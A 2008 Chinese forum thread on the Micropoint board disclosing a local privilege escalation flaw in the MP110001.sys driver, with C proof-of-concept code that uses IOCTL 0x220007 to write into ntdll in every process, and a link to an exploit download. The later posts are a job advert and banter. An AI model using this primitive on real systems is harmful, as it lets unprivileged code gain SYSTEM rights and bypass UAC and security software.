Board logo

标题: 微点主动防御（version20081008)及以下本地权限提升漏洞(user权限绕过UAC、主动防御) [打印本页]
作者: mj0011_decoder     时间: 2008-10-8 21:16    标题: 微点主动防御（version20081008)及以下本地权限提升漏洞(user权限绕过UAC、主动防御)

微点主动防御是一款号称使用行为分析技术实时保护的主动防御软件。

其核心驱动MP110001.SYS最新版本存在本地权限提升漏洞，可导致任何权限的用户在本地提升权限到SYSTEM权限，绕过UAC等保护。同时也可以利用此漏洞注入到任何受保护进程，从而穿透防火墙、主动防御软件。

出问题的组件：MP110001.sys,版本号：1.2.10006 CheckSum = 0x00009F60 TimeStamp = 0x43620505

该驱动提供了一个接口，允许RING3程序将一块数据COPY到地址0-0x80000000的任意地址，在写入时会将寄存器CR0的第16位置0，此时CPU的页保护机制就会失效，WINDOWS NT 的CopyOnWrite机制也将失效，RING3程序可以将内存写入到系统模块，例如kernel32.dll, user32.dll的地址，改写它们的代码，此时对系统DLL代码的改写会在所有进程体内同时生效.

通过这一接口，任何权限的RING3程序就可以HOOK或旁路系统任何进程的函数调用，从而进行权限提升，如果HOOK进主动防御、防火墙等的进程体内，则可绕过主动防御软件的保护。

测试代码：


HANDLE hdev = CreateFile("\\\\.\\MP110001" ,
   FILE_READ_ATTRIBUTES ,
   FILE_SHARE_READ |FILE_SHARE_WRITE ,
   0,
   OPEN_EXISTING ,
   0,
   0);

if (hdev == INVALID_HANDLE_VALUE)
{

   CHAR xx[100];
   sprintf(xx , "create err = %u\n" , GetLastError());
   MessageBox(xx, 0 , 0 );
   return ;
}

CHAR xx[] = "hello mp!";

HMODULE p = GetModuleHandle("ntdll.dll");

ULONG btr ;

BOOL bret = DeviceIoControl(hdev ,
   0x220007,
   (PVOID)((ULONG)p + 2 ),
   strlen(xx)+1 ,
   xx,
   0,
   &btr ,
   0
   );

CloseHandle(hdev);


测试代码会向NTDLL.DLL的DOS头第二个字节开始写入一个字符串“hello mp"，此修改将在系统任何进程体内生效，可使用OD、WINDBG,WINHEX等工具查看

测试程序下载：http://mj0011.ys168.com 漏洞演示目录下LOCALexp_MP.rar
作者: mj0011_decoder     时间: 2008-10-8 21:56
这里还有一个BUG，微点应该使用MmUserProbeAddress或MmHighestUserAddress，而不是硬编码一个地址0x80000000,因为在开启了物理地址扩展（PAE）的系统上，用户态的结束地址并不是0x7fff0000~

另外，在读入这个地址的内容前，微点没做有效性验证，因此input buuffer传入无效地址可引发系统蓝屏
作者: Legend     时间: 2008-10-8 22:35
请楼主查看短消息
作者: 点饭的百度空间     时间: 2008-10-9 18:25


诚聘英才
http://www.micropoint.com.cn/zhaopin.htm

职位名称：销售人员
工作性质 全职 工作地点 北京 招聘人数 4 工作经验 1-2年。
学历 不限 语言要求 英语 良好。
职位描述：开发、管理销售渠道；搜集、分析、整理市场信息；组织、实施市场活动
技能要求：
良好的沟通、协调和组织执行能力，具有较强的责任心和团队精神；
一年以上IT销售经验，熟悉软件销售市场情况；

--------------------------------------------------------------------------------

职位名称：病毒样本分析工程师
工作性质 全职 工作地点 北京 招聘人数 若干
职责描述： 分析病毒样本.
技能要求：
熟悉x86系列汇编语言。
熟悉windows API,并有一定C语言编程基础。
对反病毒、反汇编有强烈兴趣。

--------------------------------------------------------------------------------

职位名称：php程序员
工作性质 全职 工作地点 北京 招聘人数 若干 工作经验 1-2年
职位描述：公司网站的前台和后台的开发、维护.
技能要求：
熟悉php开发和mysql使用及数据库优化，至少一年以上开发经验。
熟悉b/s应用系统架构设计，有良好的编码风格。
掌握html，css，javascript等技术。
熟悉linux操作系统以及linux下apache、php、mysql安装及性能优化。
熟悉ajax开发优先。
思维敏捷，领悟能力和沟通能力强。

--------------------------------------------------------------------------------

职位名称：网络安全专家
工作性质 全职 工作地点 北京 招聘人数 4 工作经验 1-2年
学历 不限 语言要求 英语 良好
职位描述：
新型攻击技术的发现及系统漏洞追踪。
编写攻防模型。
技能要求：
丰富的网络攻防经验。
熟悉漏洞利用原理。
熟练使各种安全工具。
良好的英文阅读及理解能力。

--------------------------------------------------------------------------------

职位名称：windows软件工程师
工作性质 全职 工作地点 北京 招聘人数 4 工作经验 1-2年
学历 不限 语言要求 英语 良好
职位描述：开发及维护公司应用程序.
技能要求：
熟悉C/C++，熟悉Windows操作系统。
2年以上网络安全相关行业开发经验。
独立分析问题解决问题的能力。

--------------------------------------------------------------------------------

职位名称：windows驱动工程师
工作性质 全职 工作地点 北京 招聘人数 4 工作经验 3年
学历 不限 语言要求 英语 良好
职位描述：开发及维护公司驱动程序.
技能要求：
深入理解Windows内核模型，熟悉windows进程，内存管理；
熟练使用调试工具WinDBG 或SoftICE,有较强调试能力，能快速定位并解决实际应用过程中遇到的冲突问题；
熟练使用C或者汇编开发windows驱动程序
能熟练地阅读英文技术资料
3年以上相关开发经验；
有安全软件开发经验者优先。

--------------------------------------------------------------------------------

职位名称：测试工程师
工作性质 全职 工作地点 北京 招聘人数 4 工作经验 1-2年。
学历 不限 语言要求 英语 良好
职位描述：负责公司产品测试。
技能要求：
熟悉Windows系统操作。
有基本的网络概念及组网经验。
有互联网攻防经验者优先。

--------------------------------------------------------------------------------

职位名称：技术服务工程师
工作性质 全职 工作地点 北京 招聘人数 4 工作经验 1-2年。
学历 不限 语言要求 英语 良好。
职位描述：通过电话、邮件、上门和互联网络等多种方式为客户提供技术支持服务（售前售后）；
技能要求：
具备丰富的软、硬件知识及应用经验，熟悉Windows系统及其各种应用软件。
具备较高的软、硬件维护及故障现场分析处理能力。
具备良好的客户服务意识，拥有丰富的服务技巧和良好的沟通能力。
具备丰富的网络安全知识和工作经验。
有从事相关安全产品客户服务（售前、售后）工作经验者优先。

--------------------------------------------------------------------------------

联系方式： Email: hr@micropoint.cn
注:请在邮件中注明应聘职位的名称
作者: mj0011_decoder     时间: 2008-10-9 20:21
能快速定位并解决实际应用过程中遇到的冲突问题

=====

看来微点也知道自己的技术不稳定，冲突问题多多了~


我应聘CE圈，要不要啊？
作者: gaoyuan33     时间: 2008-10-9 21:16
CEO?哈哈~~有志气。
  如果是真的，希望微点迅速修复BUG。
作者: snhao     时间: 2008-10-10 11:24
哈哈MJ又来了，欢迎欢迎热烈欢迎！
作者: snhao     时间: 2008-10-10 13:17
如果你确实有能力有这个志向的话，我想微点是不会介意你当CE圈的。
作者: yiguangqiang88     时间: 2008-10-19 23:09
真正高手来了……



欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/) bbs.micropoint.com.cn